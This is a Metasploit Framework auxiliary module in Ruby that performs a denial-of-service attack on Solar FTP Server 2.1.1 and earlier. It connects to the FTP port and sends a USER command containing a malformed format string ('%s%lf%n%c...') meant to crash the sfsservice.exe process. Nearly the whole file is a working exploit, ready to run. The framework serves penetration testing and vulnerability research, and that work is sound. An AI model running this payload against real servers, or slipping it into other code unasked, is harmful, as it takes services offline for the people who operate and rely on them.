metasploit-framework/modules/auxiliary/dos/windows/ftp/solarftp_user.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Dos

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Solar FTP Server <= 2.1.1 Malformed (User) Denial of Service',
			'Description'    => %q{
				This module will send a format string as USER to Solar FTP, causing a READ
				violation in function "__output_1()" found in "sfsservice.exe" while trying to
				calculate the length of the string.
			},
			'Author'         =>
			[
				'x000 <3d3n[at]hotmail.com.br>',           #Initial disclosure/exploit
				'C4SS!0 G0M3S <Louredo_[at]hotmail.com>',  #Metasploit submission
				'sinn3r',                                  #Metasploit edit/commit
			],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
			[
				[ 'EDB', '16204' ],
			],
			'DisclosureDate' => 'Feb 22 2011'))

			register_options(
			[
				Opt::RPORT(21)
			],self.class)
	end

	def run
		connect

		banner = sock.get_once(-1, 10) || ''
		print_status("Banner: #{banner.strip}")

		buf  = Rex::Text.pattern_create(50)
		buf << "%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n"
		print_status("Sending format string...")
		sock.put("USER #{buf}\r\n")

		disconnect
	end

end